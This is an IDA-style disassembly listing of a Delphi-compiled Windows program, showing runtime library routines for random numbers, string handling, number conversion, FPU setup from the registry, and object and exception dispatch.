; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4027C0	proc near		; CODE XREF: sub_41238C+17p

var_18		= byte ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		lea	eax, [ebp+var_18]
		push	eax
		call	j_GetSystemTime
		movzx	eax, [ebp+var_10]
		imul	eax, 3Ch
		add	ax, [ebp+var_E]
		imul	eax, 3Ch
		xor	edx, edx
		mov	dx, [ebp+var_C]
		add	eax, edx
		imul	eax, 3E8h
		mov	dx, [ebp+var_A]
		add	eax, edx
		mov	ds:dword_41E03C, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_4027C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4027FC:				; CODE XREF: sub_402C88+10j
					; DATA XREF: CODE:0040BAA0o ...
		cmp	ds:dword_41E018, 0
		jz	short loc_40280B
		call	ds:dword_41E018

loc_40280B:				; CODE XREF: CODE:00402803j
		mov	eax, 0D2h
		jmp	sub_4034BC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402818	proc near		; CODE XREF: sub_41620C+65p
					; sub_41620C+8Dp ...
		push	esi
		push	edi
		mov	edi, eax
		xor	eax, eax
		mov	al, [edi]
		mov	esi, edx
		xor	edx, edx
		mov	dl, [esi]
		inc	esi
		add	al, dl
		jb	short loc_40283D
		cmp	al, cl
		ja	short loc_40283D

loc_40282F:				; CODE XREF: sub_402818+2Dj
		mov	ecx, edx
		mov	dl, [edi]
		mov	[edi], al
		inc	edi
		add	edi, edx
		repe movsb

loc_40283A:				; CODE XREF: sub_402818+29j
		pop	edi
		pop	esi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40283D:				; CODE XREF: sub_402818+11j
					; sub_402818+15j
		mov	al, cl
		sub	cl, [edi]
		jbe	short loc_40283A
		mov	dl, cl
		jmp	short loc_40282F
sub_402818	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402848	proc near		; CODE XREF: sub_41620C+48p
					; sub_41620C+70p ...
		xor	ecx, ecx
		push	esi
		push	edi
		mov	cl, [edx]
		mov	edi, eax
		inc	ecx
		mov	esi, edx
		mov	eax, ecx
		shr	ecx, 2
		and	eax, 3
		repe movsd
		mov	ecx, eax
		repe movsb
		pop	edi
		pop	esi
		retn
sub_402848	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402864	proc near		; CODE XREF: start+858p start+8BDp
		push	ebx
		push	esi
		push	ecx
		mov	esi, ecx
		shr	esi, 2
		jz	short loc_402894

loc_40286E:				; CODE XREF: sub_402864+26j
		mov	ecx, [eax]
		mov	ebx, [edx]
		cmp	ecx, ebx
		jnz	short loc_4028BB
		dec	esi
		jz	short loc_40288E
		mov	ecx, [eax+4]
		mov	ebx, [edx+4]
		cmp	ecx, ebx
		jnz	short loc_4028BB
		add	eax, 8
		add	edx, 8
		dec	esi
		jnz	short loc_40286E
		jmp	short loc_402894
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40288E:				; CODE XREF: sub_402864+13j
		add	eax, 4
		add	edx, 4

loc_402894:				; CODE XREF: sub_402864+8j
					; sub_402864+28j
		pop	esi
		and	esi, 3
		jz	short loc_4028D0
		mov	cl, [eax]
		cmp	cl, [edx]
		jnz	short loc_4028D0
		dec	esi
		jz	short loc_4028B6
		mov	cl, [eax+1]
		cmp	cl, [edx+1]
		jnz	short loc_4028D0
		dec	esi
		jz	short loc_4028B6
		mov	cl, [eax+2]
		cmp	cl, [edx+2]
		jnz	short loc_4028D0

loc_4028B6:				; CODE XREF: sub_402864+3Dj
					; sub_402864+48j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4028BB:				; CODE XREF: sub_402864+10j
					; sub_402864+1Dj
		pop	esi
		cmp	cl, bl
		jnz	short loc_4028D0
		cmp	ch, bh
		jnz	short loc_4028D0
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4028D0
		cmp	ch, bh

loc_4028D0:				; CODE XREF: sub_402864+34j
					; sub_402864+3Aj ...
		pop	esi
		pop	ebx
		retn
sub_402864	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4028D4	proc near		; CODE XREF: sub_404414+EFp
					; sub_404414+143p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_4028F1
		repe stosd
		mov	ecx, edx
		and	ecx, 3
		repe stosb

loc_4028F1:				; CODE XREF: sub_4028D4+12j
		pop	edi
		retn
sub_4028D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4028F4	proc near		; CODE XREF: sub_41238C+21p
					; sub_418880+1CEp ...
		imul	edx, ds:dword_41E03C, 8088405h
		inc	edx
		mov	ds:dword_41E03C, edx
		mul	edx
		mov	eax, edx
		retn
sub_4028F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_40290C:				; CODE XREF: sub_40296C+4j
		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx

loc_402923:				; CODE XREF: CODE:00402930j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_402923
		test	esi, esi
		jge	short loc_40293B
		mov	byte ptr [esp+ebx], 2Dh
		inc	ebx

loc_40293B:				; CODE XREF: CODE:00402934j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+14h]
		cmp	ecx, 0FFh
		jle	short loc_40294F
		mov	ecx, 0FFh

loc_40294F:				; CODE XREF: CODE:00402948j
		sub	ecx, ebx
		jle	short loc_40295A
		add	[edi-1], cl
		mov	al, 20h
		repe stosb

loc_40295A:				; CODE XREF: CODE:00402951j
					; CODE:00402962j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_40295A
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40296C	proc near		; CODE XREF: sub_416478+109p
					; sub_4173F0+34p ...
		mov	ecx, edx
		xor	edx, edx
		jmp	loc_40290C
sub_40296C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402978	proc near		; CODE XREF: sub_407058+6p
					; sub_4190CC+5E0p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_4029F5
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh

loc_40298B:				; CODE XREF: sub_402978+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_40298B
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_402A03
		cmp	bl, 2Bh
		jz	short loc_402A05
		cmp	bl, 24h
		jz	short loc_402A0A
		cmp	bl, 78h
		jz	short loc_402A0A
		cmp	bl, 58h
		jz	short loc_402A0A
		cmp	bl, 30h
		jnz	short loc_4029C6
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_402A0A
		cmp	bl, 58h
		jz	short loc_402A0A
		test	bl, bl
		jz	short loc_4029E4
		jmp	short loc_4029CA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4029C6:				; CODE XREF: sub_402978+39j
					; sub_402978+90j
		test	bl, bl
		jz	short loc_4029FE

loc_4029CA:				; CODE XREF: sub_402978+4Cj
					; sub_402978+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_4029FE
		cmp	eax, edi
		ja	short loc_4029FE
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_4029CA

loc_4029E4:				; CODE XREF: sub_402978+4Aj
		dec	ch
		jz	short loc_4029F8
		test	eax, eax
		jl	short loc_4029FE

loc_4029EC:				; CODE XREF: sub_402978+82j
					; sub_402978+84j ...
		pop	ecx
		xor	esi, esi

loc_4029EF:				; CODE XREF: sub_402978+89j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4029F5:				; CODE XREF: sub_402978+8j
					; sub_402978+9Cj
		inc	esi
		jmp	short loc_4029FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4029F8:				; CODE XREF: sub_402978+6Ej
		neg	eax
		jle	short loc_4029EC
		js	short loc_4029EC

loc_4029FE:				; CODE XREF: sub_402978+50j
					; sub_402978+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_4029EF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402A03:				; CODE XREF: sub_402978+20j
		inc	ch

loc_402A05:				; CODE XREF: sub_402978+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4029C6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402A0A:				; CODE XREF: sub_402978+2Aj
					; sub_402978+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_4029F5

loc_402A16:				; CODE XREF: sub_402978+C7j
		cmp	bl, 61h
		jb	short loc_402A1E
		sub	bl, 20h

loc_402A1E:				; CODE XREF: sub_402978+A1j
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_402A31
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_4029FE
		add	bl, 0Ah

loc_402A31:				; CODE XREF: sub_402978+ACj
		cmp	eax, edi
		ja	short loc_4029FE
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402A16
		jmp	short loc_4029EC
sub_402978	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402A44	proc near		; CODE XREF: sub_402A44+8j
					; sub_40F3B4+72p ...
		mov	ch, [edx]
		inc	edx
		or	[eax], ch
		inc	eax
		dec	cl
		jnz	short sub_402A44
		retn
sub_402A44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetKeyboardType. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402A58	proc near		; CODE XREF: sub_405880+8Bp
		push	ebx
		xor	ebx, ebx
		push	0
		call	j_GetKeyboardType
		cmp	eax, 7
		jnz	short loc_402A83
		push	1
		call	j_GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_402A81
		cmp	eax, 400h
		jnz	short loc_402A83

loc_402A81:				; CODE XREF: sub_402A58+20j
		mov	bl, 1

loc_402A83:				; CODE XREF: sub_402A58+Dj
					; sub_402A58+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_402A58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_402A88	proc near		; CODE XREF: sub_405880+94p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_41C000
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	j_RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402B00
		xor	eax, eax
		push	ebp
		push	offset loc_402AF9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	j_RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402B00

loc_402AEF:				; CODE XREF: sub_402A88+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	j_RegCloseKey
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402AF9:				; DATA XREF: sub_402A88+2Eo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_402AEF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402B00:				; CODE XREF: sub_402A88+29j
					; DATA XREF: sub_402A88+62o
		mov	ax, ds:word_41C000
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_41C000,	ax
		mov	esp, ebp
		pop	ebp
		retn
sub_402A88	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_402A88+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_402A88+4Co
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402B4C	proc near		; CODE XREF: CODE:00402E54p
					; CODE:0040312Ap ...
		fninit
		wait
		fldcw	ds:word_41C000
		retn
sub_402B4C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402B58	proc near		; CODE XREF: sub_4151E8+13p
					; sub_4151E8+1Cp
		mov	eax, [eax]
		retn
sub_402B58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402B5C	proc near		; CODE XREF: CODE:0040934Fp
					; sub_40C560+2Ep ...
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		repe movsb
		pop	edi
		pop	esi
		retn
sub_402B5C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_402B70:				; DATA XREF: CODE:0040104Co
					; CODE:00406234o ...
		push	eax
		mov	eax, [eax-28h]
		call	sub_402598
		mov	edx, eax
		pop	eax
		jmp	loc_402BE8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402B84	proc near		; CODE XREF: CODE:004095E2p
					; DATA XREF: CODE:00401050o ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax

loc_402B8A:				; CODE XREF: sub_402B84+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_402B9D
		call	sub_403BBC
		mov	eax, ebx

loc_402B9D:				; CODE XREF: sub_402B84+10j
		test	esi, esi
		jnz	short loc_402B8A
		call	sub_4025B0
		pop	esi
		pop	ebx
		retn
sub_402B84	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402BAC	proc near		; CODE XREF: sub_40A4BC+16p
					; sub_40C358+16p ...
		test	dl, dl
		jz	short loc_402BB8
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_402BB8:				; CODE XREF: sub_402BAC+2j
		test	dl, dl
		jz	short locret_402BCB
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

locret_402BCB:				; CODE XREF: sub_402BAC+Ej
		retn
sub_402BAC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402BCC	proc near		; CODE XREF: sub_40A524+19p
					; sub_40C3AC+3Bp ...
		call	sub_402D3C
		test	dl, dl
		jle	short locret_402BDA
		call	sub_402D2C

locret_402BDA:				; CODE XREF: sub_402BCC+7j
		retn
sub_402BCC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402BDC	proc near		; CODE XREF: CODE:00402F52j
					; sub_402FB4+30p ...
		test	eax, eax
		jz	short locret_402BE7
		mov	ecx, [eax]
		mov	dl, 1
		call	dword ptr [ecx-4]

locret_402BE7:				; CODE XREF: sub_402BDC+2j
		retn
sub_402BDC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402BE8:				; CODE XREF: CODE:00402B7Cj
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		repe stosd
		pop	ecx
		and	ecx, 3
		repe stosb
		mov	eax, edx
		mov	edx, esp

loc_402C06:				; CODE XREF: CODE:00402C17j
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_402C0E
		push	ecx

loc_402C0E:				; CODE XREF: CODE:00402C0Bj
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_402C19
		mov	ebx, [ebx]
		jmp	short loc_402C06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402C19:				; CODE XREF: CODE:00402C13j
		cmp	esp, edx
		jz	short loc_402C3A

loc_402C1D:				; CODE XREF: CODE:00402C38j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4

loc_402C23:				; CODE XREF: CODE:00402C34j
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_402C30
		mov	edi, [ebx+14h]
		mov	[eax+edi], esi

loc_402C30:				; CODE XREF: CODE:00402C28j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_402C23
		cmp	esp, edx
		jnz	short loc_402C1D

loc_402C3A:				; CODE XREF: CODE:00402C1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402C40	proc near		; CODE XREF: CODE:004092F8p
					; sub_409A30+96p ...
		test	eax, eax
		jz	short locret_402C54

loc_402C44:				; CODE XREF: sub_402C40+Fj
		mov	eax, [eax]
		cmp	eax, edx
		jz	short loc_402C52
		mov	eax, [eax-24h]
		test	eax, eax
		jnz	short loc_402C44
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402C52:				; CODE XREF: sub_402C40+8j
		mov	al, 1

locret_402C54:				; CODE XREF: sub_402C40+2j
		retn
sub_402C40	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402C58	proc near		; CODE XREF: sub_402C88+4p
					; sub_402CB4+13p
		push	edi
		xchg	eax, ebx
		jmp	short loc_402C5E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402C5C:				; CODE XREF: sub_402C58+1Fj
		mov	ebx, [ebx]

loc_402C5E:				; CODE XREF: sub_402C58+2j
		mov	edi, [ebx-30h]
		test	edi, edi
		jz	short loc_402C72
		movzx	ecx, word ptr [edi]
		push	ecx
		add	edi, 2
		repne scasw
		jz	short loc_402C7B
		pop	ecx

loc_402C72:				; CODE XREF: sub_402C58+Bj
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jnz	short loc_402C5C
		pop	edi
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402C7B:				; CODE XREF: sub_402C58+17j
		pop	eax
		add	eax, eax
		sub	eax, ecx
		mov	ebx, [edi+eax*2-4]
		pop	edi
		retn
sub_402C58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402C88	proc near		; CODE XREF: sub_40C63C+43p
					; sub_40C63C+52p ...
		push	eax
		push	ecx
		mov	eax, [eax]
		call	sub_402C58
		pop	ecx
		pop	eax
		jz	short loc_402C97
		jmp	ebx
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402C97:				; CODE XREF: sub_402C88+Bj
		pop	ecx
		jmp	loc_4027FC
sub_402C88	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_402CA0:				; DATA XREF: CODE:00401038o
					; CODE:00406220o ...
		mov	eax, 8000FFFFh
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402CB4	proc near		; DATA XREF: CODE:00401044o
					; CODE:0040622Co ...
		push	ebx
		mov	bx, [edx]
		or	bx, bx
		jz	short loc_402CD4
		cmp	bx, 0C000h
		jnb	short loc_402CD4
		push	eax
		mov	eax, [eax]
		call	sub_402C58
		pop	eax
		jz	short loc_402CD4
		mov	ecx, ebx
		pop	ebx
		jmp	ecx
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402CD4:				; CODE XREF: sub_402CB4+7j
					; sub_402CB4+Ej ...
		pop	ebx
		mov	ecx, [eax]
		jmp	dword ptr [ecx-10h]
sub_402CB4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402CDC	proc near		; CODE XREF: sub_402BAC+7p
					; sub_409450+Ap ...

arg_0		= byte ptr  10h

		push	edx
		push	ecx
		push	ebx
		test	dl, dl
		jl	short loc_402CE6
		call	dword ptr [eax-0Ch]

loc_402CE6:				; CODE XREF: sub_402CDC+5j
		xor	edx, edx
		lea	ecx, [esp+arg_0]
		mov	ebx, fs:[edx]
		mov	[ecx], ebx
		mov	[ecx+8], ebp
		mov	dword ptr [ecx+4], offset loc_402D05
		mov	[ecx+0Ch], eax
		mov	fs:[edx], ecx
		pop	ebx
		pop	ecx
		pop	edx
		retn
sub_402CDC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402D05:				; DATA XREF: sub_402CDC+18o
		jmp	loc_402E34
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		mov	eax, [esp+2Ch]
		mov	eax, [eax+0Ch]
		test	eax, eax
		jz	short loc_402D23
		mov	ecx, [eax]
		mov	dl, 81h
		push	eax
		call	dword ptr [ecx-4]
		pop	eax
		call	sub_402D2C

loc_402D23:				; CODE XREF: CODE:00402D13j
		call	sub_402FB4
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402D2C	proc near		; CODE XREF: sub_402BCC+9p
					; CODE:00402D1Ep ...
		mov	edx, [eax]
		call	dword ptr [edx-8]
		retn
sub_402D2C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402D34	proc near		; CODE XREF: sub_402BAC+10p
					; sub_409450+25p ...
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx-1Ch]
		pop	eax
		retn
sub_402D34	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402D3C	proc near		; CODE XREF: sub_402BCCp sub_40A524+2p ...
		test	dl, dl
		jg	short loc_402D41
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402D41:				; CODE XREF: sub_402D3C+2j
		push	eax
		push	edx
		mov	edx, [eax]
		call	dword ptr [edx-18h]
		pop	edx
		pop	eax
		retn
sub_402D3C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402D4C	proc near		; CODE XREF: sub_402FB4+35p
		cmp	ds:byte_41C008,	1
		jbe	short locret_402D65
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	j_RaiseException

locret_402D65:				; CODE XREF: sub_402D4C+7j
		retn
sub_402D4C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402D68	proc near		; CODE XREF: CODE:00402E81p
		cmp	ds:byte_41C008,	0
		jz	short locret_402D87
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	j_RaiseException
		add	esp, 8
		pop	eax

locret_402D87:				; CODE XREF: sub_402D68+7j
		retn
sub_402D68	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_402D88:				; CODE XREF: sub_402D9C+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	j_RaiseException
		add	esp, 4
		pop	eax
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_402D9C	proc near		; CODE XREF: CODE:00402F30p
		cmp	ds:byte_41C008,	1
		jbe	short locret_402DAC
		push	eax
		push	ebx
		jmp	loc_402D88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

